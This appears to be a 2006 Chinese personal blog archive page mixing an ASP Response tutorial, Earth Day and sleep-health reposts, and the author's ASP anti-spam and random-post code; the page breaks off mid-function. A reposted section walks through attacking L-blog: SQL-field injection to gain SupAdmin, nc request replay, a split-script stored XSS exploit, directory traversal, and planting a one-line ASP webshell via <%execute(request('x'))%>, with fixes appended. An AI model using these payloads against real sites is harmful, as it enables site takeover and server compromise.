Monthly Archives: 四月 2006

本站换用z-blog

由于xhtml+css的要求,现本日志程序改用了Z-blog。这几天正在调试当中,加入了随机日志及一周热点,代码是参考七夜的。界面暂时用随程序附带,感觉很简洁,容易阅读。 原L-blog已彻下。

常用Response对象的使用详解

常用Response对象的使用详解

 每一个程序语言或开发工具都有一定的函数与用户进行沟通,Asp同样如此。在Asp中负责将信息传递给用户的对象就是Response对象。Response对象用于动态响应客户端请求(Request),并将动态生成的响应结果返回到客户端浏览器中,使用Response对象可以直接发送信息给浏览器、重定向浏览器到另一个URL或设置cookie的值等等。Response对象在asp编程中非常广泛,也是一种非常好用的工具。下面我们来具体看看Response对象:  语法:  Response.collection|property|method     一、集合  Response对象只有一个集合--Cookies,Cookies数据集合允许将数据设置在客户端的浏览器中。若指定的cookie不存在,则创建它。若存在,则自动更新数据。    语法:Response.Cookies(Cookie)[Key.Attribute]     这里的cookie是指定cookie的名称。而如果指定了key,则该cookie就是一个字典。attribute指定cookie自身的有关信息。attribute参数可以是下列之一:     Domain只写。若被指定,则cookie将被发送到对该域的请求中去。    Expires只写。指定cookie的过期日期。为了在会话结束后将cookie存储在客户端磁盘上,必须设置该日期。若此项属性的设置未超过当前日期,则在任务结束后cookie将到期。    HasKeys只读。指定cookie是否包含关键字。    Path只写。若被指定,则cookie将只发送到对该路径的请求中。如果未设置该属性,则使用应用程序的路径。    Secure只写。指定Cookie是否安全。   二、方法    Response.AddHeaderName,Value     向应答中添加一个新的HTML标题。Name为新HTML标题的名称。Value为该头变量的值。你可以添加任何名称和任何值的HTML标题。它并不替代现有的同名标题。一旦标题被添加,将不能删除。   Response.AppendToLogString     向Web服务器的日志条目的末尾添加一字符串。String为要添加到日志文件中的字符串。    Response.BinaryWriteData     该方法可以不经任何字符转换就将制定的信息写到HTTP输出,主要用于写非字符串信息(如客户端应用程序所需的二进制数据等)。Data是要发送的数据。    Response.Clear     删除缓冲区的所有HTML输出,但只删除响应正文而不删除响应标题。可以用该方法处理错误情况。需要注意的是,如果Response.Buffer设置为True,则该方法将导致运行是错误。    Response.End     强迫Web服务器停止执行更多的脚本,并发送当前结果,文件中剩余的内容将不被处理。如果Response.Buffer设置为True,则调用Response.end将缓冲输出。    Response.Flush     对于一个缓冲的回应,发送所有的缓冲信息。如果Response.Buffer设置为True,则该方法将导致运行是错误。    Response.RedirectURL     将客户端的浏览器重定向到一个新的Internet地址。Url为新网页的Internet地址。    Response.WriteVariant     Response.Write是Response对象最常用的方法,该方法可以向浏览器发送字符串。Variant是一字符串或一个具有字符串值的变量。    三、属性    Response.Buffer     缓冲一ActiveServerPage。回应只到某一页结束或Response.Flush或Response.End方法调用时才发送出去。服务器将输出送给客户端后就不能再设置Buffer属性。    Response.CacheControl     指明是否Proxy服务器能缓存ActiveServerPage。缺省时,其值为FALSE。当设置其属性为Public时,Proxy服务器可以缓冲由Asp产生的输出。    Response.CharSet(Charsetname)     将字符集名称(如GB)附加到Response对象中content-type标题的后面,用来设置web服务器响应给客户端的文件字符编码。一个可能的值为“ISO_LATIN_1”。   Response.ContentType     指明回应内容的类型。可能的值为text/plain和image/GIF,默认值text/HTML。    Response.Expires     浏览器可以缓存当前页的时间长度,以分钟为单位。    Response.ExpiresAbsolute     浏览器不能再缓存当前页的日期和时间。在未到期之前,可以返回。如果未指定时间,该主页在当天午夜到期;如果未指定日期,则到当天指定时间到期。    True/False=Response.IsClientConnected     属性为只读,指明自上次调用Response.Write之后,客户端是否仍然和服务器连接。该属性允许用户在客户端和服务器没有联接的情况下有更多的控制。例如,在从客户端提出请求起到服务器做出相应,其间要用去很长一段时间的情况下,这就可能有助于确保在继续处理脚本之前客户端仍是连通的。具有值TRUE或FALSE。    Response.PICS(PICS字符串)     用于添加网页的PICS等级。PICS级别指明某一网页的内容级别,比如暴力或色情的程度等。    Response.Status="状态描述字符串"       用来设置Web服务器要响应的状态行的值。 

善待地球,科学发展!

今天是4月22日,前天因为收集google图标的时候看到7幅有关世界地球日的图标,所以知道了4月22日是世界地球日,也就是今天了。准备看看今年的图标什么样子的,可是到现在还没出现。


4月22日第35个世界地球日:善待地球—科学发展

  世界地球日活动起源于美国。1969年,美国民主党参议员盖洛德·尼尔森提议,在全国各大学校园内举办环保问题讲演会。当时25岁的哈佛大学法学院学生丹尼斯·海斯很快就将尼尔森的提议变成了一个在全美各地展开大规模社区性活动的具体构想,并得到很多青年学生的普遍支持。  
 
 
      1970年4月22日,美国首次举行了声势浩大的“地球日”活动。这是人类有史以来第一次规模宏大的群众性环境保护运动。

  作为人类现代环保运动的开端,“地球日”活动推动了多个国家环境法规的建立。1990年4月22日,全世界140多个国家、2亿多人同时在各地举行多种多样的环境保护宣传活动。这项活动得到了联合国的首肯。从此“地球日”成为“世界地球日”。

  地球是人类的共同家园,然而,随着科学技术的发展和经济规模的扩大,全球环境状况在过去30年里持续恶化。有资料表明:自1860年有气象仪器观测记录以来,全球年平均温度升高了0.6摄氏度,最暖的13个年份均出现在1983年以后。20世纪80年代,全球每年受灾害影响的人数平均为1.47亿,而到了20世纪90年代,这一数字上升到2.11亿。目前世界上约有40%的人口严重缺水,如果这一趋势得不到遏制,在30年内,全球55%以上的人口将面临水荒。自然环境的恶化也严重威胁着地球上的野生物种。如今全球12%的鸟类和四分之一的哺乳动物濒临灭绝,而过度捕捞已导致三分之一的鱼类资源枯竭。

  世界地球日活动旨在唤起人类爱护地球、保护家园的意识,促进资源开发与环境保护的协调发展。中国从20世纪90年代起,每年4月22日都举办世界地球日活动。(完)(来源:新华网)

地球人都要保护好地球,实际生活中要从身边的小事做起。但有些人有的时候为了利益而全然不顾这些。
好在我们的国家已经很重视对环境的保护,提高每个人的环保意识,以及提出了“善待地球—科学发展”的口号,实际行动还需要做到位。
google的地球日图标:
2006-04-22(终于出来了)

2005-04-22


2004-04-22


2003-04-22


2002-04-22

S-h-m-i-l-y

虽然没有拥有,便也无所谓失去。但心里那份失望与遗憾却也难免。

当你爱上一个人,然后你就千方百计让她也爱上你。不必过早地担心结局,因为结局无非只有两个,要么得到,要么失去。而在你“得到”之前,“失去”又从何谈起呢?

S-h-m-i-l-y(see How Much I Love You):让你知道我有多爱你。

单引号导致的网站崩溃 L-blog

今天无意中发现有人能过baidu地址进来时用的关键词是“owered by L-Blog”,就点击上了百度看了一下,看到了下面一篇文章,而我用的这套系统就是这个。赶紧查了一下,还真是这样,立即修改一下程度代码。

L-blog是一款较为成熟的blog程序,拥有强大的功能和简便的操作,这些优点使L-blog有着数量可观的用户群。然而,L-blog程序中代码的过滤不严,导致黑客可以向L-blog中写入恶意数据,从而将自己的账号提升为管理员,进而登录L-blog后台管理系统,写入webshell,并进一步得提升权限,从而获取服务器的控制权。威胁如何产生?我们又该如何防范?这正是本文所要讲述的重点。 
  一、洞查先机,漏洞成因早知道

  下载L-blog程序,用记事本打开其中的member.asp,可以找到如下代码:“mem_Sex="&CheckStr(Request.Form("mem_Sex"))&"”,这句代码是对用户在修改资料时的性别一栏进行更新,而这句代码却存在过滤不严的漏洞,黑客可以绕过验证,将需要写入的数据本地提交到“性别”一栏中,从而利用这个漏洞将账号提升为L-blog管理员。

  目前网上使用最多的L-blog有两个版本,L-Blog V1.08 (SE) Final和L-Blog V1.10 AIO,后者是前者的升级版本,但是这两个版本都存在过滤不严的漏洞,由于两者的代码不同,因此有着不同的利用方法,下面我们就对这两个版本的利用方法进行阐述。

  二、提升权限,构造本地提交页面

  我们首先打开使用L-Blog V1.08 (SE) Final版本的blog,注册一个用户。完成后我们点击用户控制面板上的“修改资料”,进入“编辑个人资料”页面。这时我们点击IE的查看菜单,选择“源文件”,将弹出的源文件内容保存为test.txt。用记事本的“查找”功能可以找到如下代码:“form action="member.asp?action=edit&edit=post"”,由于我们需要本地提交,因此需要将这里的相对路径改为绝对路径,即将member.asp前面的网址补充完整。继续往下看,来到如下代码处:


保密”

  这段代码就是让用户在修改个人资料时选择自己的性别,从正常的页面中我们可以看到,“性别”这一栏中是“男,女,保密”三个选项的单选框,那么我们又如何将恶意数据从“性别”这一栏写入呢?
选中上文中的这段代码,将其替换为“”,然后保存这个文本文档,接着将这个文本文档的后缀名改为htm。用IE打开test.htm,网页会显示不全,但是可以看到,“性别”一栏处已经从单选框变成了文本框,这也就意味着我们可以写入任意数据了。

  在“性别”一栏的文本框中输入:“0,mem_Status="SupAdmin"”(不包括引号),点击“确定编辑”即可完成本地提交。我们重新登陆L-blog,可以发现,在“用户中心”中多出了两个选项“发表日志”和“系统管理”(如图1),这两个选项是只有L-blog的管理员才能够看到的,因此证明我们已经成功将自己的账号提升为管理员了。 

图1 成功提升帐户为管理员

  三、绕过验证,利用工具提交数据 

  在上文中我们已经说到L-blog的两个版本利用方法不同,那不同在哪呢?由于L-Blog V1.10 AIO更新了验证机制,使原有的本地提交页面这种方法已经不起作用。然而新版本只是更新了验证机制,而并没有从根本上修补漏洞,因此我们可以利用工具将数据提交上去,从而绕过新版本的验证机制,其效果和构造本地提交页面是一样的。

  1.NC、WSockExpert,双剑合壁

  NC和WSockExpert是本地提交入侵中经常用到的工具,WSockExpert用于数据包的抓取,NC用于数据包的提交。下面我们就来看看如何利用这两款工具绕过L-blog的本地提交验证。同上文中步骤,注册完成后来到“编辑个人资料”页面,我们运行WSockExpert,点击工具栏处的“打开”按钮,找到IE的进程,双击,选中当前L-blog的进程信息,点击“OPEN”进入抓包状态。我们切换回L-blog,在“编辑个人资料”页面中填入旧密码,点击“确定编辑”。这时我们会发现
WSockExpert中已经抓取到了许多数据包,其中可以找到一个以“POST”开头的数据包,这正是我们所需要的。选中以“PSOT”开头的数据包,在下方会出现其具体内容(如图2)。将所有的内容复制下来,保存为test.txt,最内容的最下方可以找到mem_Sex这一个参数,其默认的参数值为“0”,我们需要将它修改为“0,mem_Status="SupAdmin"”,由于我们修改后使整个数据包增加了22个字节,所以我们还需要对数据包中Content-Length参数进行相应的修改,完成后保存。

图2 抓取“POST”数据包 

提示:在“编辑个人资料”页面中只需填入旧密码,其他选项一概不要填写,否则将使测试失败。

  将test.txt和NC放在同一目录下,运行“命令提示符”,输入如下命令“NCwww.***.com 80 < test.txt”,其中的网址为L-blog的地址,这句命令的意思是将test.txt的内容提交到L-blog上。回车后我们回看到很多乱码,不用管它,重新登陆L-blog,是不是同样提升成功了呢?

  2.L-blog漏洞利用工具,见血封喉

  从上文中我们可以看到,这两种L-blog漏洞的利用方法都显得比较麻烦,而且一旦利用过程中疏忽了一个字节,那么测试也将以失败告终。因此有网络安全爱好者开发了L-blog漏洞的利用程序,可以很方便得对L-blog进行测试。

  运行“L-Blog提权利用程序”,如图3所示,在地址一栏中填写欲测试的L-blog地址,在Cookie中填入你在L-blog中的cookie。至于cookie的获取,可以使用WSockExpert进行抓包,在“POST”数据包中可以找到Cookie字段,复制其后面的数值到L-blog漏洞利用程序中就可以了。接着在“旧密码”选项中填入账户的密码即可。最后点击“提交”,即可对L-blog进行测试,测试的效果和NC,WSockExpert进行测试是一样的。

图3 使用专用工具测试

  四、得到webshell,后台写入木马

  按照上面的步骤,我们可以很快得到L-blog的管理员权限,接下去我们可以在后台写入asp木马,从而得到一个webshell,获取更大的权限。

  这里我们选用的asp木马是“冰狐浪子微型ASP后门”,这是一款C/S形式的asp木马,其分为客户端和服务端两部分,由于其服务端只有一句代码,因此也被称为“一句话木马”。由于L-blog的后台管理并没有可以写入大型asp木马的地方,因此“一句话木马”的优势就可以充分发挥出来了。

  进入L-blog的后台,找到“数据管理”选项,查看L-blog的数据库地址,例如“d:\free\blogdata\acblog10.asa”,这里显示的只是数据库的本地路径,我们需要将它补充到网址后面,例如“http://www.***.com/blogdata/acblog10.asa”。然后进入“链接管理”,新建一项链接,如图4所示,其中“名称”和“图片”选项可以随便填,然后在“链接”一项中填入“冰狐浪子微型ASP后门”的服务端代码“ ”,其中“piao”为连接密码,完成后点击“编辑”即可。这样我们就可以将木马写入数据库了。 

图4 将服务端写入数据库 

  提示:写入的木马只对以asp或asa为后缀的数据库有效

运行“冰狐浪子微型ASP后门”的客户端icyfox007.htm,在“ASP URL”一项中填入L-blog的数据库地址,然后在“PassWord”一项中填入我们设置的连接密码“piao”,接着在下方选择需要执行的命令,

点击“RUN”即可,执行成功后会弹出一个新窗口显示执行效果(如图5)。这样,我们就得到了一个功能强大的webshell。接下去,便可以对服务器进行各种控制了。 

图5 利用webshell得到服务器信息

  五、拒绝黑客,修改代码升级系统 

  由于L-blog的漏洞是由于代码的疏忽造成的,因此修补漏洞的方法十分简单,可以归纳为以下几点:

  1.修改漏洞代码

  从上文中可以得知,出现漏洞的一句代码为“mem_Sex="&CheckStr(Request.Form("mem_Sex"))&"”,由于这句代码缺少一对单引号,造成过滤不严,因此我们只要将这对缺少的单引号加上去,就可以修补漏洞。修改完成后的代码为“mem_Sex='"&CheckStr(Request.Form("mem_Sex"))&"'”。

  2.升级最新版本

  目前L-blog的官方网站上已经有新版本,新版本不存在此漏洞,因此可以通过升级最新的L-blog版本避免攻击。

  3.修改数据库后缀

  由于L-blog的后台没有可以写入大型asp木马的地方,因此想得到webshell必须使用“一句话木马”,而使用“一句话木马”的前提是数据库必须为asp或asa后缀,即直接可以在IE中浏览数据库内容。因此我们可以将数据库的后缀名改为mdb,这样即使L-blog被入侵,黑客也是无法得到webshell的,当然修改完数据库后缀后别忘了修改commond.asp中的数据库连接地址。

1、L-Blog Cross-Site Scripting Vulnerability

这是个跨站漏洞,好像HaK_BaN很早就发现并通知了官方,所以问题已经修复。但是我下的那个版本却存在,所以还是要写出来J

问题存在于申请友情链接那里,对提交的网站名称没有进行HTML编码就直接写入数据库,管理员浏览读出的时候也没有进行编码,造成跨站脚本漏洞。

怎么利用呢,盗管理员Cookies?太麻烦,其实可以直接用javascript把页面转向到提升一般用户为超级管理员的链接。

呵呵,那就注册个帐号先,然后记住帐号的id,然后构造语句咯。

先看看把一般用户提升成超级管理员的链接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我们可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>达到转向的目的。参数memID就是你要提升权限的用户id,这里我的id是2。

且慢,这里有两个问题,第一是数据库Blog_links表里的Link_Name字段最多放50个字符;第二是如果转向管理员会发现不对劲哦。所以要用拆分字符分次提交,而且使用框架让管理员看不到。

算了一下,至少要分四次提交,看exploit:

<script>a="<iframe src=admincp.asp?actio"</script>

<script>a+="n=member&type=editmem&memID="</script>

<script>a+="2&memType=SupAdmin width="</script>

<script>a+="0 height=0>";document.write(a);</script>

呵呵,然后就等着管理员去看链接验证咯。要是等不及了可以想办法让他去看,看你的社会工程学水平了。

漏洞修补问题,最简单就是去官方下补丁。

 

2、L-Blog File List / Delete with SuperAdmin Vulnerability

 

通过前面的漏洞我们可以成为blog管理员,现在我们得想办法拿webshell啊。呵呵,这个时候用这个漏洞最好不过了。好像还没人公布的说。

在附件管理选浏览all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿问题就出在参数foldername,没有过滤.和/,那就可以跨目录的哦。用这个url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么样,blog根目录文件出来了,可以随便删除文件的哦。

利用这个漏洞我们可以任意查看网站各目录的文件,不过你要猜到文件夹才能浏览,L-Blog的数据库放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata

如果它的数据库是mdb,那就下载之,如果改成了asp/asa,那就请你看第三个漏洞哈。

这个漏洞的修复就是修改文件admincp.asp,只要把变量Request.QueryString("filename")里的“.”过滤就行了。

3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability

L-Blog的默认数据库名字是L-Blog.mdb,但是很多站长应该会改名称和后缀,一般改为asp或者asa,呵呵,如果改了,那站就完咯。

L-Blog.mdb里面有一个貌似防下载的表aNotDownload,其实一点用都没有,就算你改了后缀照样可下载。当然不去下载它,我是要拿webshell。

现在就要向数据库写小马咯。

 

随便找个没有过滤html编码的地方,就找修改一般设置,Blog名称,填<%execute(request("x"))%>,然后再访问数据库,看看是不是有类型不匹配错误,ok,搞定!

漏洞的修复也简单,随便找个动网的数据库,找到notdown表导出到L-Blog的数据库中,呵呵,然后你再访问数据库试试。

“忙”字是个好借口。熬夜是一种习惯

看到一篇有关科学睡眠时间的文章:

熬夜:别用健康赌明天

摘自《科学网》

  对一些研究人员、知识分子来说,熬夜是一种习惯。熬个通宵不算回事,夜里一两点钟睡觉是常态。挑灯夜战、废寝忘食的工作在我们的成长教育中,常常被视为一种可贵的精神而受到赞赏,但顺义国医医院院长、中医专家薛钜夫在接受记者采访时却告诫说:应该在夜里11点就入睡,11点至凌晨3点是最佳睡眠时间,熬夜会带来种种健康问题! 

          熬夜,能补回来吗? 
  
  熬夜,不仅对一些上班族来说是件不得不为的事情,玩个通宵也是时下许多年轻人追求的时尚。偶尔熬夜没关系,难免的,补过来就行了。但如果经常熬夜,薛钜夫院长断言说 “补不回来”。时间补够了,辅助运动锻炼等方式也有一些帮助,但还是不能画等号,熬夜对身体肯定有一定影响。 
  中医说睡眠可以养肝血,睡眠不好会造成肝血不足,不光给人带来情绪上的变化,可能还会出现神经系统、消化系统、代谢系统等很多方面的问题。薛钜夫认为,临床上因为睡眠导致的问题是太多了,应该说各科的疾病都有。熬夜,睡眠不够,对很多女士来说,不光会影响肤色,还可能会带来妇科、生理方面的问题。睡眠会影响到五脏六腑。比如去美国要倒时差,如果频繁地倒,总扰乱生物规律,肯定对身体不好。什么疾病都可能出现。如果出现消化系统功能紊乱,就可能影响食欲、大便不正常、影响营养的吸收利用、废物代谢不出去等等。 
  睡眠很重要。白天工作、吃饭、看书、说话等,都要用到血液,肝脏就是要把大量血液全发动出去,支持身体的各项活动,夜间,各器官静止下来,活动相对减少,这时血液就回到肝脏储存起来。如果大脑晚上还没有休息,大脑的血液就没有回来,但血液是有生命的,用到一定时间,就没有那么强的动力了,大脑就是在疲劳用血。 
  脏腑器官一天到晚得有张有弛。比方说,白天思考问题,大脑皮层在工作,晚上大脑皮层休息了,是脊髓中枢在工作,两者要换班,现在对熬夜的人来说,到了晚间,大脑皮层该休息了它不休息,脊髓中枢该兴奋了,它兴奋不起来,就出现很多生理功能等方面的毛病。 

           睡眠是个大学问 
  
  几点睡觉比较合适,各人的观点不一样。薛钜夫认为,人的生物规律与天气、气候是相对应的,讲究天人相应,从中医理论上,子午觉很重要,首先中午有条件的话要睡一个小时或者哪怕半个小时,晚间最好能在11点就入睡,中医讲11点至凌晨3点是最佳睡眠时间,因为这段时间睡眠对于肝脏藏血功能的帮助最大。12点睡就算晚了,长期对身体也没好处。 
  血脂高、血糖高、胆固醇高等等这些慢性病都与睡眠大有关系!睡眠是个大学问。薛钜夫认为睡眠在人体的正常生理代谢和运转上至少占2/3的作用。睡眠的作用有时胜于情绪和饮食。 
  他认为,现在人们的健康观念有些本末倒置,都是工作之余怎么来保健,而不是在保证身体健康的前提下再去工作。 
  当然睡觉多了,也不一定是好事,晚上可以因人而异,因年龄、性别和身体状况而不同。但白天睡觉一般最好在一个小时之内为好,午睡时间长了反而会出现大脑缺氧。 
  他认为最好的办法是自己感觉舒服。他对保健有三句话:我这样做,自己很舒服;我需要这样去做;长期这样做对身体没有更大更多的影响。 
现在很少有人真正去留意保健,真正生病了才去找医生,把希望都寄托在医生身上,实际上健康把握在自己手里。他认为人生三件事:吃好、睡好、情绪好是非常重要的。人活着是为什么,很多人都有自己的很多目标,但这样的目标要建立在人的身体这台机器正常运转的前提下。

而我却经常很晚才睡觉,有时两点,有时四点,最早也要到一点,多多少少对身体和精神会有些影响。然而给自己的理由就是“太忙”,难道真得是太忙吗?事后想想也没做成什么事。也许这只是一种习惯,所以为了健康,为了明天,我要改变一下我的这种习惯。
还有经常想和老朋友聚一聚,可总是到了时间却不想去,说实话有时还真不是没时间,但就是没去见。最后只好用“太忙了”做个借口。
其实也许是心中有个更有分量的事情不想错过吧,所以将其它的事都摆到了后面。

本站随机日志及防广告的实现

终于在工作之余的时间里完成了防链接广告及随机日志的实现,昨天晚上调试防链接广告竟然搞到了快四点了。今天还要上班,现在竟然还有精神来写日志,真感觉自己还挺能的(挺能忍受的,哈哈)。
现在我关于L-blog修改的代码放上:
近日广告现象比以前更严重了,所以决定限制非会员评论含有0个链接,普通会员只能含有一个链接。
4月23日更新代码
禁止评论中含Maxhttp或MaxUrl个以上的链接,主要是判断Maxhttp个以上的“http://”及MaxUrl个以上“[url”,也许还有更简洁的代码吧。我这是这样的:


在blogcomm.asp中 IF Request.QueryString("action")="postcomm" Then 后插入或修改成以下代码。

blog_ID=Request.Form("blog_ID")
  IF IsInteger(blog_ID)=False Then
    msg_Title="出现错误"
    msg_Content="<a href=""javascript:history.go(-1);"">参数出现错误,点击返回上一页</a>"
  Elseif  Session("postBanIP")=2 and memStatus<>"SupAdmin" and memStatus<>"Admin" then
        msg_Title="出现错误"
        msg_Content="<a href=""javascript:history.go(-1);"">对不起,您的IP已经被本站禁止非管理员发表评论!点击返回上一页</a>"
  ElseIf (memStatus<>"SupAdmin" And memStatus<>"Admin") And DateDiff("s",Request.Cookies(CookieName)("memLastPost"),Now())<30 Then
    msg_Title="出现错误"
    msg_Content="<a href=""javascript:history.go(-1);"">你发表评论速度太快了,点击返回上一页</a>"
  ElseIf Trim(Session("L-Blog_ValidateCode"))<>Trim(Request.Form("validatecode")) Then
    msg_Title="出现错误"
    msg_Content="<a href=""javascript:history.go(-1);"">请输入发表评论按钮旁边的验证码框,点击返回上一页</a>"
  Elseif (Strcount(Request.Form("message"),"http://")>Maxhttp and (Request.Form("comm_AutoURL")=1) or (Strcount(Request.Form("message"),"[url")>MaxUrl  and Request.Form("comm_DisUBB=0")=0)) then    
   Set SRegExp=Nothing
   Set SRegExp2=Nothing
   msg_Title="出现错误"
   msg_Content="<a href=""javascript:history.go(-1);"">对不起,您输入的内容有太多链接。这是不允许的!点击返回上一页</a>"
        If isempty(Session("postBanIP")) then
           Session("postBanIP")=1
        Else
           Session("postBanIP")=2
        End If      
  Else  
  

随机日志也在今天花了两个小时的时间终于调试好了。不过对于其中的
生成随机取文章SQL
Randomize
rnd_view_j = Int(Rnd*15+1)
rnd_view_sql = “log_ID”
For rnd_view_i = 1 To rnd_view_j
rnd_view_sql = “Rnd(” & rnd_view_sql & “)”
Next

ORDER BY ” & rnd_view_sql & ” DESC”
不太明白,从没用过这个SQL的随机语句。
不过现在也大体上能理解,不太明确第一段随机代码作用是什么,感觉没必要。还要继续研究才知道。今天要去睡觉了。


Sub RandBlogList '随机Bolg列表
  Response.Write("<div class=""siderbar_head""><img src=""images/sider_rand.gif"" border=""0"" align=""absmiddle"" /> 随机日志</div><div class=""siderbar_main"">")
  Dim blog_randlist
  Dim rnd_view_i,rnd_view_j,rnd_view_sql
      '生成随机取文章SQL
      Randomize
      rnd_view_j = Int(Rnd*15+1)
      rnd_view_sql = "log_ID"
      For rnd_view_i = 1 To rnd_view_j
        rnd_view_sql = "Rnd(" & rnd_view_sql & ")"
      Next
  Set blog_randlist=Conn.Execute("SELECT TOP 8 T.log_ID,T.log_Title,T.log_Author,log_Content,log_IsShow FROM blog_Content T,blog_Category C WHERE T.log_cateID=C.cate_ID and log_IsShow=True ORDER BY " & rnd_view_sql & " DESC") '只显示非隐藏日志
  IF blog_randlist.EOF AND blog_randlist.BOF Then
    Response.Write("暂无随机日志")
  Else
    Do While NOT blog_randlist.EOF    
      Response.Write("<a href='blogview.asp?logID="&blog_randlist("log_ID")&"' title='"&HTMLEncode(blog_randlist("log_Author"))&": "&Replace(HTMLEncode(cutStr(blog_randlist("log_Content"),200)),"<br>"," ")&"'>"&HTMLEncode(cutStr(blog_randlist("log_Title"),18))&"</a><br>")
    blog_randlist.MoveNext
    Loop
  End IF
  blog_randlist.close
  Set blog_randlist=Nothing
Response.Write("</div>")
End Sub

随机日志及防广告的解决方案

现在看到很多日志都有随机日志,我也想改一下这里,最简单就是先在网上收集一下代码,参考一下别人的经验。

*********************************************************
' 目的:随机日志显示 by 七夜 2005.11.22    
'*********************************************************
Function BlogReBuild_rnd()

  Dim i
  Dim s
  Dim objRS
  Dim objStream
  Dim objArticle

  'rnd
  Dim strPrevious

  Dim cc_w_view_i,cc_w_view_j,cc_w_view_sql
      '生成随机取文章SQL
      Randomize
      cc_w_view_j = Int(Rnd*15+1)
      cc_w_view_sql = "log_ID"
      For cc_w_view_i = 1 To cc_w_view_j
        cc_w_view_sql = "Rnd(" & cc_w_view_sql & ")"
      Next

  Set objRS=objConn.Execute("SELECT [log_ID],[log_title] FROM [blog_Article] WHERE ([log_ID]>0) AND ([log_Level]>2) ORDER BY " & cc_w_view_sql & " DESC")

  If (Not objRS.bof) And (Not objRS.eof) Then
    For i=1 to ZC_PREVIOUS_COUNT
      Set objArticle=New TArticle
      If objArticle.LoadInfoByID(objRS("log_ID")) Then
        strPrevious=strPrevious & "<li><a href="""& objArticle.Url & """ title=""" & objArticle.Title & """>" & objArticle.Title & "</a></li>"
      End If
      Set objArticle=Nothing
      objRS.MoveNext
      If objRS.eof Then Exit For
    Next
  End If

  objRS.close

  strPrevious=TransferHTML(strPrevious,"[no-asp]")

  Set objStream = Server.CreateObject("ADODB.Stream")
  With objStream
  .Type = adTypeText
  .Mode = adModeReadWrite
  .Open
  .Charset = "utf-8"
  .Position = objStream.Size
  .WriteText = strPrevious
  .SaveToFile BlogPath & "/include/rnd.asp",adSaveCreateOverWrite
  .Close
  End With
  Set objStream = Nothing

  If strPrevious<>"" And ZC_STATIC_TYPE="shtml" Then
    Call RemoveBOM("rnd.asp")
  End if

  BlogReBuild_rnd=True

End Function

今天是没时间改了,只能拖后了。
在七夜的博客中又同时看到了以下代码,对我这个blog程序应该也有用,至少有参考保价值。先收下了。

添加了BanIP代码修改方法:
打开 c_system_event.asp
在 Function PostComment() 下面,加上

Dim SRegExp,Matches
  Set SRegExp=New RegExp
  SRegExp.IgnoreCase =True
  SRegExp.Global=True
  SRegExp.Pattern="http"
  Set Matches = SRegExp.Execute(Request.Form("inpArticle"))
  If Matches.count>=2 then    
  Set SRegExp=Nothing
  Response.Write "Sorry,you can only input one link"
    If isempty(Session("SipoBanIP")) then
    Session("SipoBanIP")=1
    Else
    Session("BanIP")=2
    End If
  Response.End
  End If
  Set SRegExp=Nothing
  If not isempty(Session("SipoBanIP")) and Session("SipoBanIP")=2 then
  Response.Write "Sorry,Your IP is Baned By Our Site."
  Response.End
  End IF

解释:
如果有人在评论中发布了2个以上的链接,则禁止发布评论,如果仍然发布,则简单Ban掉这个人。

来源:sipo

将以上针对本blog程序做了点修改

If not isempty(Session("postBanIP")) and Session("postBanIP")=2 and memStatus<>"SupAdmin" then
  msg_Title="出现错误"
  msg_Content="<a href=""javascript:history.go(-1);"">对不起,您的IP已经被本站屏蔽,已被禁止发表评论!</a>"
  Response.End
  End IF 
  Dim SRegExp,Matches
  Set SRegExp=New RegExp
  SRegExp.IgnoreCase =True
  SRegExp.Global=True
  SRegExp.Pattern="http://"
  Set Matches = SRegExp.Execute(Request.Form("message"))
  If Matches.count>=2 and Request.Form("comm_AutoURL")=1 then    
  Set SRegExp=Nothing
  msg_Title="出现错误"
  msg_Content="<a href=""javascript:history.go(-1);"">对不起,识别链接状态下您只能输入一个链接!</a>"
    If isempty(Session("postBanIP")) then
    Session("postBanIP")=1
    Else
    Session("postBanIP")=2
    End If

  Response.End
  End If

对David的Referer做了一点修改,增加了雅虎、QQ等搜索引擎关键字的显示,原版只显示Google及百度的关键字,3721的好像有点问题。具体效果看参照我首页的Referer

修改inc.asp,版本为最新的1006版

function getRefName(refUrl)部分,整体替换

function getRefName(refUrl){
  var googleSeRE = new RegExp("^http://www.google.com.*q=([^&]*).*");
  var baiduSeRE = new RegExp("^http://www.baidu.com.*wd=([^&]*).*");
  var sogouSeRE = new RegExp("^http://www.sogou.com.*query=([^&]*).*");
  var wangyiSeRE = new RegExp("^http://cha.so.163.com.*q=([^&]*).*");
  var qqqqSeRE = new RegExp("^http://so.qq.com.*w=([^&]*).*");
  var yahooSeRE = new RegExp("^http://www.yahoo.com.cn.*p=([^&]*).*");
  var seekSeRE = new RegExp("^http://seek.3721.com.*p=([^&]*).*");
  var otherRE = new RegExp("^http://([^/]*).*");
  var refName = "";
  if(refUrl.indexOf("http://www.google.com") != -1) {
    if(googleSeRE.test(refUrl)){
      try{
        refName = ("google:" + escape(decodeURI(refUrl.replace(googleSeRE,"$1")))).substring(0,255);
      }catch(exception){
        refName = "google"
      }
    }else{
      refName = "google";
    }
  }else if(refUrl.indexOf("http://www.yahoo.com.cn") != -1) {
    if(yahooSeRE.test(refUrl)){
      try{
        refName = ("yahoo:" + escape(decodeURI(refUrl.replace(yahooSeRE,"$1")))).substring(0,255);
      }catch(exception){
        refName = "yahoo"
      }
    }else{
      refName = "yahoo";
    }
  }else if(refUrl.indexOf("http://seek.3721.com") != -1) {
    if(seekSeRE.test(refUrl)){
      try{
        refName = ("3721:" + escape(decodeURI(refUrl.replace(seekSeRE,"$1")))).substring(0,255);
      }catch(exception){
        refName = "3721"
      }
    }else{
      refName = "3721";
    }
  }else if(refUrl.indexOf("http://www.baidu.com") != -1) {
    if(baiduSeRE.test(refUrl)){
      try{
        refName = ("baidu:" + gb2utf(refUrl.replace(baiduSeRE,"$1"))).substring(0,255);
      }catch(exception){
        refName = "baidu"
      }
    }else{
      refName = "baidu";
    }
  }else if(refUrl.indexOf("http://www.sogou.com") != -1) {
    if(sogouSeRE.test(refUrl)){
      try{
        refName = ("sogou:" + gb2utf(refUrl.replace(sogouSeRE,"$1"))).substring(0,255);
      }catch(exception){
        refName = "sogou"
      }
    }else{
      refName = "sogou";
    }
